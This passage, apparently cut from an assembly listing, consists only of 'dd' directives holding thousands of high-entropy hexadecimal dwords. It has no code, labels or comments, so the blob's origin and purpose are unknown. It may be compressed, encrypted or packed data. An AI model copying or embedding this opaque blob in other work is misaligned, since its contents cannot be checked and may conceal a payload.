5FFC4C38h, 0CEB33000h, 1CBD1978h, 7BE900E4h dd 8D025A86h, 0FF012801h, 0B703010h, 0A0805FF4h, 0A183800Eh dd 2C009EC8h, 0F9DF6C79h, 50DC62D5h, 53AC69h, 0EECBB8C2h dd 0F04C2051h, 2965E20Ch, 3D1B080h, 0D42ED51Bh, 0A100B709h dd 1AB387A1h, 4C3F6AD7h, 2F38F013h, 0F8B6CE98h, 94031884h dd 0F6DD1790h, 52800774h, 70432B8Fh, 191E99CDh, 2AF86FE2h dd 88BC6D00h, 2D24F50Bh, 0AE640040h, 4C438D8Eh, 5C29B732h dd 507F04B5h, 901F3FE1h, 6BE7B39h, 54C3E2CFh, 1F9B7820h dd 0F08AC517h, 80521510h, 169EFE00h, 2ECC6162h, 2860004Ah dd 0CE5CB633h, 44008301h, 1DE6125Fh, 0D96C34h, 3615E2A4h dd 6951F193h, 0ED552006h, 81611Eh, 0ADAD3ADh, 5AB99448h dd 6A653106h, 205E51h, 35577C7h, 58A58DDFh, 6B00DC74h dd 23F5BDFBh, 7A34BEFh, 0AEA6B132h, 0DAD98C82h, 0FB4CC00h dd 3042C19h, 51546168h, 87A328DCh, 360C1DD1h, 69E0C8C0h dd 5DA901FBh, 1EBB5659h, 4C489743h, 0DE1CCE00h, 25A4C4h dd 3FDA2912h, 1BE2CBEAh, 3194FF00h, 0EDCF0B5Dh, 81E960BBh dd 99A84A6Ch, 7B8C4F00h, 9E9F6B37h, 0B46000C0h, 95D421A9h dd 4B068E61h, 0E883AE17h, 8FE43839h, 22873000h, 23609FFEh dd 0D40049E8h, 4B8D2911h, 0E9D0AEC7h, 0AB9531BCh, 0FC06A462h dd 0E92B6BC6h, 0C5ACF91Dh, 22553C5h, 8F55F84Bh, 0D8D08AB0h dd 0C7C6B59Fh, 2150C8h, 0A8A3BBA9h, 0D9D7684Ah, 859C521Dh dd 0EB461D00h, 1E298991h, 2A9FDF4h, 0F367280h, 0D400CC92h dd 0F5A6C306h, 10B46515h, 0FAF21408h, 308124D8h, 337A4F04h dd 0D5A11C10h, 408832DEh, 0C407AAF4h, 1017EF6Ah, 5437E220h dd 1840DF7Fh, 99802903h, 0D6091500h, 88EB161Fh, 218A0702h dd 0A4AC60h, 0DE495367h, 2C30A604h, 908D6Fh, 0EB81DA2h dd 80F32F4Fh, 9EE74800h, 4B028BB2h, 6B67600Dh, 57944840h dd 2F095C9Ch, 0EE80F40Ah, 0B8FD154Ch, 9F22903h, 15805F35h dd 97406D48h, 169D0049h, 44E74566h, 26E00A77h, 6024A100h dd 0D8D1A60Fh, 0A4493C4h, 80907C6Eh, 0BA8031Ch, 3A7C75B0h dd 3DAD9D00h, 1AA7DA8Ch, 0A3B50545h, 4427DEDCh, 97E24484h dd 0B0C8B00Ch, 0C7007A68h, 3B71F245h, 1C4725EAh, 0A8F167ADh dd 3F05026Ch, 0A42FEDE5h, 0E3314C40h, 226D8D40h, 32006F06h dd 9908022Ch, 49BE075Fh, 0FA009018h, 0E0161EE8h, 4200C67Dh dd 0EC50EF1Fh, 1E69089Bh, 404BD875h, 0B5533934h, 28546E03h dd 0A630B298h, 94B0B8B6h, 0E7F0105h, 422B682Dh, 20E4CD30h dd 81EF6A08h, 75D8F81h, 54303CACh, 306CE4E7h, 12A1EE2Dh dd 6824A05Bh, 0B28C5458h, 0C0C10814h, 0A2C772E9h, 180317ACh dd 0D48E7ADFh, 0AD8112A5h, 0DBC02024h, 16268B86h, 60881C17h dd 0D3B28C35h, 24F2A531h, 93D47000h, 70AA0DAh, 4AD6287Fh dd 6F6615C8h, 0CD00E079h, 0EB341327h, 0DF1E7058h, 0BB595303h dd 0E8E7691Eh, 52811D0h, 0A4724437h, 106C2EB8h, 0B7C04310h dd 400EEE02h, 66DB1309h, 6BB8B0B4h, 0F5EB0070h, 0CFD547F7h dd 3248062Ah, 9178EC0h, 0D81678h, 0EF6934C2h, 97AF4551h dd 7B10A898h, 447D54E9h, 0C891B2FAh, 0FC9CD000h, 8F99CAh dd 37AE616Dh, 1EB6EFA0h, 0E9C52B01h, 59059AF6h, 8101CAF3h dd 0E1570278h, 32A2C809h, 64DB4714h, 0F994B0E4h, 0B90B01A2h dd 80309207h, 0B889802Dh, 0E25D97ECh, 0B0E900FDh, 68A90738h dd 0B200AAC5h, 766ACF56h, 0A5C3D2Dh, 71B6013Ch, 0A2A0C0B4h dd 0A3464731h, 29000522h, 4477A213h, 0BD9BADh, 38479D74h dd 66C622FBh, 90FDF8A8h, 0F64BCE00h, 36ABB406h, 0E4073E0Ch dd 2624B001h, 84695C37h, 0A8868CF8h, 44D04088h, 50C452E9h dd 605E804h, 177007B3h, 0CE2D1FDh, 0DC84D0E5h, 7978FB30h dd 69690D06h, 0A831285Bh, 0F423BCh, 6C4497C5h, 9D09A09h dd 0A084DC53h, 0F2D784A0h, 4130B231h, 0F413894Ah, 89D9006Ah dd 353DE77h, 1B306CABh, 62E521E3h, 607F5Ah, 8A24BE8Dh dd 6664C918h, 9F0733Dh, 0A040AD8Ch, 0D326FCE4h, 0E1C90FC6h dd 0F938FFFBh, 0A00AB76h, 187E7B5Dh, 1611BDh, 43C09D86h dd 6BFFCD38h, 0E0223E00h, 59DCA860h, 1F64B14Bh, 49ADD896h dd 35007BDEh, 5944ED4Ch, 7777DAE4h, 0B1A015Eh, 0C3DFF622h dd 0BCE83053h, 0F5026A43h, 8CAA5009h, 0E8447442h, 3EAE444h dd 2A9A0A70h, 4CEF8AA0h, 2F01F119h, 21423624h, 6FC9A73Ah dd 60005863h, 0C6C7838Dh, 0FA26E469h, 0C040A097h, 9804CE1Ah dd 81490C2Ch, 6EC1B8ABh, 340AB4B8h, 0AB9913ADh, 0BD000C2Ch dd 30FDCA28h, 46B806CCh, 589C3D7Dh, 0EE4E6D04h, 100F67BFh dd 0E6991602h, 77BDDC68h, 6C91F81Dh, 10557880h, 0C0F6DA5Eh dd 0C3BC9C49h, 6902548Ah, 0DBF201F5h, 0BE189070h, 65800359h dd 0EFEBDE92h, 1EF2F940h, 2D6CC01h, 76FBE08Dh, 163A6C8h dd 5BE2961Bh, 0F5125953h, 60D03050h, 17D9FE00h, 4EA7554Fh dd 0F4CC005Dh, 0CFE546A4h, 4C985677h, 8D6EB8C6h, 76AA05F1h dd 10E560A4h, 8887B89Ch, 4394F3A5h, 7B7F107h, 0E6838B84h dd 6F82EF75h, 0E36448A4h, 0AF0A0791h, 508555DEh, 5A75464Ch dd 0FE9EF14h, 0F9E10080h, 2CE7A6DDh, 5828F84Fh, 1B8928FBh dd 0A2CE44B0h, 33479F11h, 2FBC2192h, 0E47CFC69h, 2BEBF700h dd 4ED904CFh, 0B8B1F8D4h, 46A32420h, 74242C0Ch, 983DE246h dd 0DE72B001h, 62E5ACB7h, 536B18B8h, 0C5D929h, 1220BEDFh dd 0F1A6FA95h, 0B242F309h, 502C20A9h, 9814164Dh, 74530330h dd 4775BEDBh, 7333BF0h, 9D28046Bh, 325084F4h, 656F20B7h dd 5EA80075h, 3F8E586Ch, 60B855B2h, 3F6A7B44h, 41802E03h dd 663EC8CCh, 0B400CF09h, 42DC3E3h, 0A413329Ch, 80360E3Ch dd 4B849BFAh, 202B2260h, 280458Ah, 0CB56E500h, 681449B6h dd 31842C62h, 0CCD81D4Ch, 2ED84FF7h, 74A37E24h, 594C4502h dd 129452FFh, 0A9553Ch, 54CEC800h, 0CF74E0DDh, 0E43649h dd 0B995BE65h, 18F812CCh, 811FC87Dh, 0B002BF6h, 3F7048C3h dd 0A9A876h, 3DB62849h, 914C4A8Fh, 0F367B916h, 0C07BC1Fh dd 0D6115A66h, 956057F4h dd 0DD6E007Eh, 202A8C95h, 0C300A9D4h, 6915FB93h, 0CEF80Bh dd 31541842h, 96E772B4h, 9BCA1400h, 0F3E312ECh, 5B0074Bh dd 50224713h, 0DD90C9EEh, 0FF9B2300h, 0A4A90C30h, 69E40053h dd 0D7657EC6h, 311EC23Eh, 0C980A5F5h, 0A2447935h, 722A00AEh dd 0ACD7D9DBh, 1607982Ch, 43ABFFA9h, 0DF697B20h, 907400CEh dd 0B8887091h, 0A070D58h, 0DE414C2Bh, 0DC4BF1C0h, 0D4F8073Bh dd 0D13F93C6h, 0E1753AB0h, 56C1F0DEh, 8E0015F0h, 10CFDD74h dd 32B32C3h, 92736CA8h, 0EEA0F5D1h, 0D40066F3h, 74D0F1B5h dd 639183Bh, 783F92CAh, 79036809h, 0A8C9FC9Dh, 1B8FE008h dd 7FA07621h, 29CC0FB6h, 6080DE5Dh, 0F4BBA557h, 343D700h dd 76344E77h, 19F5F0F2h, 283531FCh, 0E8803E41h, 0FAF27C8h dd 0DBD00DECh, 76101C83h, 4737129h, 0E4CF298Ch, 0E0BD008Bh dd 781CB058h, 9CF8DED6h, 0FCF1BF17h, 923F7200h, 0AC8EBEh dd 0DE1A71C9h, 0A04C57B4h, 3024F830h, 414835h, 0CEF13F38h dd 0C5B31C4h, 0BE900B00h, 91FBDC7h, 28AF54D7h, 0CABBF226h dd 18C07419h, 0DD58997Bh, 0A9F36930h, 0AC93D289h, 30667C60h dd 7BA8D3A0h, 1620FCF4h, 0C7600524h, 450919ECh, 0C0496190h dd 10BCBA71h, 57BE3E0Eh, 9A20B867h, 5AF12993h, 84CA157Ch dd 13CEB8Ah, 0B7A05591h, 8418A097h, 0B5648910h, 3F5DB00Ch dd 8E778A41h, 4524FC14h, 18491048h, 8D71CFF0h, 12A84D50h dd 0D064BD0Ch, 0ECA3846h, 0F1C40506h, 793EC33Dh, 81C645D7h dd 0AE4FCF03h, 7B9CD74h, 0C2588F31h, 32FDF0F0h, 88615077h dd 7B8DD2A1h, 26843980h, 89D04115h, 941C4F2Ah, 0A642AF06h dd 11F8F4h, 2BCD5257h, 7C0AFCD9h, 0F02A8714h, 0F1DE0184h dd 13A4B05Eh, 7B646E0h, 3ABE76B2h, 618187BAh, 9CC824CAh dd 272CA611h, 5A188E18h, 0DE121407h, 30503424h, 221B2035h dd 71741C73h, 4446B30Ah, 0C0A0A03Bh, 0E2502304h, 900824h dd 319D6F9Ch, 5499A504h, 51D45243h, 98D09C40h, 0CFF07A77h dd 771B3914h, 3F521284h, 175AE807h, 0AA0EBE40h, 4EB91811h dd 2E4D6092h, 405F5C89h, 3A68CB20h, 0D2604068h, 7DBA98FDh dd 0C51530F9h, 6271D018h, 0F163DD10h, 875E4861h, 11398AA1h dd 10315438h, 0BC4331A0h, 5D210CB1h, 0BE3839F9h, 48EC49h dd 3F4FF4BAh, 49FC8C9Eh, 7404AC02h, 0C840384Eh, 45509010h dd 0F122A80Ch, 46B121CAh, 3042CC0Ch, 71B2676Ch, 721C613Ch dd 2243CC57h, 257B4A00h, 7142A494h, 67981E8Bh, 1F8705ACh dd 5487C741h, 0FC34C2FDh, 0FB4AEC40h, 3B028318h, 2ACA3051h dd 1A0DA3Fh, 0C8A3B2F3h, 0C886CF39h, 0FC0036AFh, 4031EC76h dd 703D0h, 1193235Dh, 38F4BF1Fh, 30835C3Ah, 0C78051FEh dd 99DC4060h, 7846600h, 6A58356Fh, 0C2980219h, 570D3948h dd 0EB9F1360h, 46CBAD00h, 5468FC59h, 6727007Ah, 78393366h dd 2258109Bh, 9A7300F2h, 2990F252h, 0E1D4A883h, 5E990002h dd 0E02A579Ch, 2D79928Ah, 3C1B2500h, 0CA4571BFh, 0A1050069h dd 3E95C98Eh, 0B807B459h, 3F2D9E46h, 8C813A44h, 0C0849166h dd 0D0DE11D6h, 0ADED712Ch, 0E0D4693Bh, 0D2676410h, 444700A0h dd 5C3DBEBCh, 57001761h, 8648696Ah, 1E318C4Eh, 4C205530h dd 90606C66h, 7ED54405h, 0EEE7C8h, 19988CB0h, 0A600B80Fh dd 3B111E7Bh, 6DED9Dh, 0EC8E2115h, 78DC086Bh, 30959C38h dd 0BF130811h, 91720042h, 75CD4B10h, 0F4002B9Fh, 15D312BDh dd 38D6A95h, 0E5AB5FBFh, 0FBE21EC4h, 0EA2E1104h, 0B7A6BC00h dd 0CAA86D7Eh, 2C58177Ch, 0BD0076C1h, 33C22E53h, 7A53A9Eh dd 8015845Eh, 5DAC90C0h, 9732A72Fh, 105A2835h, 488452Ah dd 34C38832h, 0D0084689h, 44785144h, 2284E2DAh, 9D223B72h dd 283C503Dh, 1E99440Bh, 0CCC714A0h, 84509D40h, 0E88A2E22h dd 232D8838h, 0E7D48740h, 131EFE11h, 3B46BC36h, 48587975h dd 2B286261h, 51622671h, 34CABC1Fh, 0B06AC0C0h, 10BDAC4h dd 9B7D6EEBh, 0CC1E590Ah, 9F0053B5h, 284267DEh, 40E1CFh dd 3E7C9D8Dh, 0A95CF970h, 83D9F43Ah, 5309ED8h, 0D1B3E8A7h dd 0F01B0755h, 7108DFAFh, 707BE2FAh, 17002FAFh, 0DB8A8398h dd 9BE7D8h, 0F5D2222Ah, 85493DDCh, 0BB9AD000h, 2BF91017h dd 0EE7A3A04h, 32DDBD83h, 7B9B5260h, 532108D8h, 20C005F8h dd 0F14431B5h, 0F4C900CFh, 5F852362h, 0AAFA57FEh, 0DE7A3D0Eh dd 3F65C356h, 0B22FD860h, 0DCBC2EC1h, 0E396036Fh, 4AAB9C70h dd 1F31F9E0h, 0A2B8A800h, 4DDB7ABFh, 0EBEF45Bh, 0DCCDCFEDh dd 79A40E60h, 2C4997DEh, 5AEF0048h, 72F44170h, 389B0040h dd 0B54D9181h, 3F00A9C0h, 2CEAE139h, 9EC6EDh, 0A277F34Fh dd 0FC5F963Ch, 28CE500h, 33F1CDFFh, 0A62607C6h, 0BF16E6B8h dd 0A8E9EE03h, 22C36800h, 73D8F71Bh, 0BAC800CDh, 8EBBBCE8h dd 7E1F7993h, 3C9F591Dh, 0E020F280h, 821B87h, 37FBB55Fh dd 1A514838h, 0C34D8B00h, 2AB23093h, 844E0716h, 0D0AC7F86h dd 4F500F5Dh, 50A8BD3Dh, 0B300C49Ah, 0D68380F2h, 0E85C374Ah dd 0FF650047h, 0B9AF2B38h, 3D00685Bh, 0F401720Bh, 53607Ch dd 0A5DD3C50h, 0E074CD71h, 1B3E8603h, 0B032998Ch, 652CB36h dd 78B0F48Bh, 9D05ECEEh, 0F2B12F40h, 7B6C9403h, 34FAD075h dd 717D00DAh, 138F22CBh, 761C0FAAh, 5781C91Dh, 0A7F154B9h dd 0C7C0DCh, 1531F071h, 0D909D460h, 0B9A0DC28h, 1EF2360Eh dd 0AEA820BEh, 131CC250h, 0E8024EEh, 7B407824h, 3EB9EAAFh dd 0F058FCEBh, 0F8214A00h, 69840F47h, 3A70DAh, 9F8B043Fh dd 5D64D638h, 210A3D0Bh, 6FF500FDh, 48B79Dh, 13C765DAh dd 4DCDAC69h, 1A0237E4h, 0EF5A27B5h, 58BA4145h, 1FD2DE0h dd 0D1D4282Fh, 0D081BB06h, 27002B3Ch, 1423ECAAh, 0E9E38Ch dd 1EFDAE17h, 96D6B1C9h, 0FEC3C805h, 0F7007587h, 9BCCB455h dd 6A7A007Bh, 4D15C4A3h, 0D27FE5E7h, 36E0C760h, 1FD45CC8h dd 0C0F3230Dh, 0F92A1BCh, 6A002646h, 0D8EAEE5Fh, 3C96287Ch dd 3C017580h, 0FB82D189h, 5119C402h, 67845700h, 8D99E526h dd 12141D80h, 3D87C097h, 0F8969356h, 5C8AEA07h, 1630791Fh dd 30FA54Fh, 0BE05AB9Ah, 10A895C0h, 2000A007h, 0EE6CF229h dd 2541BBh, 80CE5ED8h, 0DC109A27h, 5346E600h, 14799EA0h dd 41F90040h, 5D5BFDD7h, 9D038B07h, 50AD92A2h, 1B12C029h dd 111F006Bh, 8B7B257Ch, 0CF0FC742h, 47641887h, 14F003CBh dd 16D8E4h, 23C6042Dh, 0E2A9BE53h, 5FA74200h, 4846BDF1h dd 8B59005Eh, 90C63E31h, 43E5AA14h, 30F179E4h, 22460039h dd 4EDFEF1h, 74E332BAh, 8094809Ah, 0C038DECh, 2BB6C9EBh dd 0D269D81Ah, 0C5E000ABh, 0F0532D44h, 1D004960h, 7D75489Ah dd 0B8E8FEh, 872A6E08h, 0F60C74B6h, 73773Ch, 0CD99D64Fh dd 0A6FE30h, 1A9CD3B5h, 0C84D585Eh, 223ABB00h, 0EEEDA872h dd 97750033h, 0C1A3D32Fh, 0A001ECFAh, 94F399C6h, 0EBF01D2Dh dd 73500001h, 0B5820F9Ch, 0FF006414h, 959E8978h, 1DA90B3Eh dd 0C05FA46Dh, 828A0532h, 17000FC0h, 0EC01BD57h, 346C1Ch dd 16665389h, 0B8CE4B87h, 1BCC690Fh, 201F3E5h, 3F33397Ch dd 1D1430h, 35452671h, 2CD0DA8Eh, 92A4F500h, 7CD61655h dd 0DD531EEFh, 0F4BC163h, 0E80C9765h, 6AFEE70Dh, 1ECB7B1Dh dd 883AEC28h, 0BE3F00E0h, 0B476638Fh, 94030228h, 0B5C9C8B2h dd 0D856E761h, 5403F668h dd 212EF892h, 0D1F1899Bh, 0CBC2C4h, 0C0EBB834h, 0F6BFE343h dd 0AC680201h, 37BC24DDh, 0FE1C5660h, 0CC5D03AAh, 0BF9A756Ch dd 2717F2B8h, 0FCF09951h, 6E85596h, 0A23F6200h, 0CF8BBC3Ah dd 7AE300A0h, 0BB5A45B2h, 5300ED9Dh, 4D5C7C6Ah, 0FCB3582Ah dd 96B9009Bh, 684CDF27h, 3B00CF1Ch, 0DB02ECF0h, 0E2A436h dd 5689DEB0h, 924976D2h, 0D3261D01h, 0F53D7D82h, 4F00FCCh dd 6C429F9h, 4300C0EDh, 3000F1A0h, 73E22320h, 1DB81841h dd 805B4222h, 0F46292EDh, 5471D039h, 4A771700h, 96BEFD9Ah dd 99C51CBAh, 0E8E7C07Eh, 2CB96DD2h, 26FB5D01h, 0D644F748h dd 5CCB0ED4h, 1407AC84h, 50C84Fh, 465CD305h, 0F80A6300h dd 0D70F89ABh, 4D170420h, 0C08AF582h, 0D466F6F8h, 0C002B002h dd 602283D8h, 736CC4B3h, 871C1D4Ah, 0BB448051h, 0C96A3B69h dd 15765F01h, 0DFA696E7h, 0D51BB880h, 0C448292Ch, 0F2A98100h dd 0DC5303ACh, 4DECEFC6h, 0C8721ECCh, 0D437C033h, 0FB09E231h dd 0DFEB4C05h, 15C0654Bh, 3B35A307h, 779CDBh, 1A2C6A47h dd 56911373h, 0E101D804h, 50C7898Bh, 7AE8BD60h, 0D588A021h dd 0B4E63Bh, 516FC17h, 0FABFF2A5h, 5A00E178h, 0EF5B5127h dd 0EA48FEF9h, 7FB50260h, 3E378DE2h, 0CB14D080h, 3100ECBDh dd 5892D113h, 2E86E9DAh, 28FC10h, 1FE85EAAh, 670089E0h dd 9747585h, 0E4213591h, 4C3C3C72h, 0D328D580h, 9040FEC9h dd 9B71200h, 67DFC44Fh, 0C61A00EAh, 0BCE6F7DCh, 875C35ABh dd 91E801B2h, 3203C1DEh, 0A252D4h, 0A72410D7h, 62BF07AAh dd 54766900h, 2EFFF5EFh, 0DC5216DAh, 23BC0137h, 0FCC3F4ADh dd 1FEADDE2h, 9C195103h, 0E83143B5h, 0BB7801h, 0A170F265h dd 0CA3C1EBFh, 1DC66403h, 88262CB5h, 7D4A4Ch, 987C2FBAh dd 0D125AA76h, 0C0E23Ah, 31FDCA4h, 6151B0B6h, 5CA1108Fh dd 72707011h, 9B5F4800h, 0E63CEDD2h, 0DAB500F8h, 7CBA079Eh dd 2800AA15h, 8FF6438Ch, 98BD512h, 346A03B0h, 634FC802h dd 8AFA32C0h, 80F7EF3Ch, 8CB17BE4h, 4C5FB9h, 0D2BF13A5h dd 37C3C4B2h, 0F0009890h, 49C57DBBh, 0EAE568h, 36D87DDh dd 576E4B4h, 260A7200h, 2A5CDB7h, 52440B55h, 0AC00DE80h dd 0A966D24h, 190C360Eh, 0D774E239h, 23BCE8FCh, 167E002Dh dd 38AB2493h, 810FCB6Fh, 603AAA98h, 0F7730D5Dh, 7C132C5Ah dd 0BC726D0h, 3801EDD3h, 105FE4B1h, 3049C27h, 23C5B347h dd 0C47696h, 80D2D4A9h, 64A307CEh, 407DF12Ch, 6358DCC7h dd 0D8CA6517h, 9F5F8607h, 13EA51D0h, 1BBB00F9h, 56275048h dd 99003E8Ah, 0D94EFA3h, 0E25B8E3h, 60B2367Eh, 7F4B1760h dd 742671FAh, 47170015h, 0CA207C00h, 0B1C32Ah, 0C4756D6Bh dd 10576871h, 0A01FB76h, 848B532Eh, 12D81A8Ch, 6B690C91h dd 51B957DAh, 0EA643100h, 2D377046h, 3E9605C7h, 0C081D42Eh dd 0D51AC928h, 49301800h, 0AE7E7BF3h, 19331EB7h, 0CAE51D28h dd 0EC0DFF8h, 0C5038CCAh, 0FB828A3Fh, 38E26040h, 0EB1739h dd 1AA9977Bh, 1DDC9AD7h, 81B43CAAh, 9243EE86h, 87EA4545h dd 0FEA3F0F5h, 0C300A87Bh, 492B6379h, 30E4E5F2h, 1A68C5F8h dd 91002A39h, 951F76C2h, 12D147h, 3E549BAEh, 45FACF7h dd 1BC03900h, 0FA45589Dh, 0E44F1F8Dh, 97F2004Ch, 10658CB8h dd 40179302h, 40D946A3h, 0F47D5Ah, 196E1F57h, 76B55931h dd 0C1C52D00h, 66FD8BDEh, 0D9451F1Eh, 935300B2h, 0A9C098ABh dd 0DA2AD50Fh, 0F39D404Bh, 2E50CEAEh, 0EE76h, 0D92AA0Eh dd 0AC4C3011h, 80F80010h, 0E8CF08B6h, 0B4530FEBh, 26E06A96h dd 770F0563h, 780D2205h, 4480E3EEh, 0CC636h, 87E4FE73h dd 4DE5B468h, 293C767Ah, 0C9AC80D7h, 3401EE28h, 0EEB0C4h dd 662D7ED3h, 2E0DA79Dh, 0EDB67B00h, 4DB29793h, 74BC13BAh dd 0CD1F00B7h, 0A31A7159h, 0D009575h, 0C438D127h, 6FB1Eh dd 18F5AC4Dh, 0B8E48370h, 9FD6E907h, 0BF570379h, 7125CC50h dd 1C1E0F55h, 0B8A0D7A0h, 6EF5B346h, 54D82400h, 31C23342h dd 34580005h, 0DB3EC65Ch, 4C005249h, 0D185626h, 1E67DAAh dd 0CEC18FE9h, 402B5D6Bh, 470F1B94h, 48E8CD5Dh, 60412EBEh dd 0D016C812h, 2573D801h, 8AD88B60h, 3EF22E30h, 0C490700h dd 400FD9B3h, 4F86A320h, 0BC03FAA6h, 0C31BE759h, 0B49CE9EEh dd 492F8DBh, 592C90B7h, 50007CE5h, 7203D567h, 0C601E102h dd 0D2797E44h, 84C83BEFh, 0FDB793Fh, 0FF020F4Ch, 0E9124260h dd 2F384481h, 203F82C6h, 63414AECh, 0BDAE0529h, 0C037CF0Ch dd 0FE7D240h, 0AC1CE60Bh, 77608025h, 0A3EA708h, 0F2172F6Bh dd 2A57058Ch, 30E48118h, 857F704Bh, 16877E00h, 9C3C4195h dd 7BCA1E3Eh, 4E6A801Eh, 0B43D2228h, 12DCE600h, 5F3242C7h dd 52900B66h, 72F821B5h, 83F7F900h, 0B1343D74h, 0A769053Ah dd 97C80564h, 52BC17F8h, 0D4805D78h, 2D4EF487h, 0D1772600h dd 995ECC27h, 6D2800A1h, 0DB75EFB0h, 0D400DC0Dh, 0E131361Dh dd 0E7954Ch, 62D3CFE3h, 3FFC634h, 9676C103h, 0BF6C8FF1h dd 8292F222h, 0D0D971CBh, 0B540020h, 0B557C649h, 653C0113h dd 0D3F38F69h, 3B1D8171h, 80F847E3h, 0BC4E50FEh, 0D1F50014h dd 2CF09F3Fh, 884BFA6Ah, 0F900D2A8h, 5E755D98h, 86025937h dd 7CC6E7B9h, 8775C038h, 42810041h, 0D605ED7Bh, 0C9001E2Ch dd 0C46C29Eh, 0AFF631h, 4B5A562h, 77F3489Ah, 56C1BA00h dd 97C6E1Ah, 593D0001h, 4702D38Ah, 0C430C33Eh, 2E64C8D8h dd 78C900E2h, 0C0DFF2CEh, 0C30E3B6Ch, 20DC0C0Dh, 0DED6396Eh dd 88F5A3DBh, 300A41F4h, 0CE16D068h, 3F06B69Eh, 957CD4AEh dd 25840188h, 0C7F1AC68h, 8C50C63Ah, 0E02DC209h, 0F3E0A72Bh dd 701777E0h, 5D2E00Fh, 423E6CC8h, 7394004Dh, 6BAEE372h dd 85EE5F00h, 1523CC0Ah, 0FDA901DDh, 3A7A081Ah, 98C84193h dd 23B110D8h, 0FD108648h, 33270E2Dh, 0C887C22h, 2AADB500h dd 0A75900B6h, 0A0D481C5h, 1C0B180Dh, 80130AC0h, 0DA4BF956h dd 1FBF00A3h, 8FC4BD88h, 49001DD2h, 16F5333Fh, 3549A43h dd 0BB2C146Fh, 8806D4ACh, 857F0B3Eh, 8AA109E8h, 3B87249Dh dd 5F3960DCh, 970727D7h, 3516E8DEh, 58AF007Eh, 2040E5h dd 5EF39E76h, 6C3A1A49h, 0A14C8303h, 87EE7443h, 298D7E30h dd 66040714h, 300AED17h, 0D1053802h, 18B21000h, 0EBD095BAh dd 0A4B300CAh, 4DCEF851h, 0EC3027F1h, 0D0A53834h, 0F4BE72BAh dd 9D60019Eh, 39FBE1F0h, 0CBC5400Bh, 95002BFh, 5E3DADA4h dd 714881DFh, 0B2763A1h, 74EC6865h, 0B4CD3044h, 0A69FAE28h dd 0E2674F00h, 0C9FD90DAh, 1B490758h, 706B3CA4h, 88CE3274h dd 19D21A00h, 0DCB68D91h, 1ECC0922h, 7C8EEEA9h, 6082458Bh dd 4200F1ECh, 1050F14h, 0B2152275h, 0CFB433DCh, 98064D8h dd 893A923Fh, 40FB02B8h, 480E7050h, 0DB00DB2Ah, 1B366A55h dd 2C60BA41h, 0CB30CE28h, 5F880264h, 0C8F1B21Ch, 4BFC30F8h dd 0F8A35C00h, 847845B3h, 3B990062h, 8A8FD77Dh, 0E809FA31h dd 4E441E0h, 4B809720h, 0F22B0222h, 4C40037Bh, 0F93D80Ch dd 145F92E8h, 95BE7D03h, 6252B2B4h, 398768A2h, 0F3348848h dd 802E6B3Ah, 84A4DA3Ah, 0B44FA2F4h, 6B2CF4h, 14798756h dd 1F01050Eh, 61160384h, 3460AD20h, 0E4726Bh, 0F847C7B3h dd 0AE62B729h, 63006575h, 7BC37975h, 1C8223FEh, 3F199A8h dd 0AE8531B5h, 2EF88388h dd 0CBB14300h, 1F1909DDh, 8A110051h, 0D4365463h, 69077B15h dd 0BAFAAA80h, 5C99EBE0h, 3C6A3B0Ah, 8EA6D800h, 2A87CA4h dd 56684C00h, 111F4E78h, 16854C1Ch, 0B1245800h, 52DEB8E0h dd 0A0058227h, 66611A4h, 7F3EA7Eh, 0F5027562h, 6E1E40BEh dd 0FF302BE3h, 0DE448EA4h, 4CCBF62Dh, 0BC48285Fh, 8C3A9112h dd 932E1268h, 4800A761h, 7DB15918h, 3F730486h, 0C0970223h dd 0DD138020h, 0FA664901h, 44320A47h, 1FFA9C0h, 5E4BA43Ah dd 60984CD9h, 0E701DC84h, 50B0085Bh, 0E820D3D1h, 8BDF1E8Fh dd 331C82FAh, 2560B327h, 0DA59243Fh, 79E80FA0h, 8634A09Fh dd 3EDA103h, 0D70ECF0Dh, 90C07816h, 0CE002445h, 0EFAB3EA4h dd 79A50AD4h, 6C802C05h, 0A6DF0FE9h, 38340033h, 0D95901F3h dd 0F2669F00h, 738FE3EAh, 0B5F8002Dh, 399DC08h, 0AE09AFB2h dd 50EA4463h, 128816BCh, 66344462h, 17B4D080h, 33006FF8h dd 0A2D72790h, 92C23Ah, 40F03959h, 2FFA0C1Ah, 50192124h dd 695BB100h, 1D1338h, 823A8A24h, 61D581AEh, 7003B72h dd 16A7EA0Bh, 0B99513h, 894AD3E6h, 0A917781h, 26113500h dd 444222B5h, 7B3C0E96h, 1C60374Bh, 49720E1Eh, 0A90084EAh dd 0BE428581h, 0B4E8A3h, 140A0F15h, 802F1FDFh, 254A05Ch dd 0AACA6588h, 0BF6FE087h, 7D130047h, 7FA18B29h, 1B006697h dd 0B4D8E30h, 0EA3FCEh, 187143D1h, 0BE299199h, 0BF36A007h dd 0CA67B417h, 0F81F3FC3h, 1B5B02h, 0EFA34F50h, 0F1669AFBh dd 3658B400h, 2408CB7Ah, 4EF00068h, 0D22D970Bh, 0A9007DBAh dd 53818D87h, 33FD59Ch, 821B86CEh, 6E80F3B4h, 0A538469Ah dd 0D6D30080h, 416CB5DDh, 3221047Fh, 0C00AC73Ch, 72162B00h dd 6BE8D100h, 53C2B3ABh, 0A8FF00B2h, 0C5DE5236h, 0A7F45D92h dd 3BAC105Ch, 0FE8880D2h, 3CBB89B6h, 1BCC01B4h, 21719CB5h dd 862C2079h, 39C640h, 62351A6Fh, 0E9781977h, 880A9D00h dd 4E7EC6B3h, 1FC0092h, 326F024Ah, 0C0006475h, 0D20FAC7Fh dd 9B7D2Ah, 97C9D36Ah, 55A9DCC7h, 763B9A0Bh, 0A0448047h dd 2539D22h, 346ADF6h, 2E3124Bh, 0E772C9A0h, 0B3DB8900h dd 1AB04535h, 0E15A07ADh, 1044EF9Ah, 0EBCEFCC9h, 0CA88C8FFh dd 6209B3FEh, 8005C1E9h, 27299443h, 0E87100E4h, 4C6B5D5h dd 5100E3B8h, 49D7874Dh, 0F6628FEh, 8B1B076Ch, 6DE953C0h dd 433E8E6Eh, 2025802Fh, 2A608EFh, 2E7109B9h, 48804C70h dd 0F3D29C54h, 27D3BA05h, 2080B3E9h, 87E39h, 6EDD538Ch dd 25546C3Eh, 7C95EB24h, 6600D3A6h, 5B4ED3DCh, 0AA5C0031h dd 83389E8Ch, 230477E2h, 0AA321ACh, 3C90E8C7h, 0F40DB9h dd 3D69B09Bh, 5232C00Bh, 968D3Bh, 19C8FFDBh, 39E5D0E3h dd 0AF0025CDh, 1286A0B3h, 0BE2C8985h, 0CB1DA467h, 74364FC7h dd 82EC02D9h, 41A0E539h, 2C263A09h, 412FB8h, 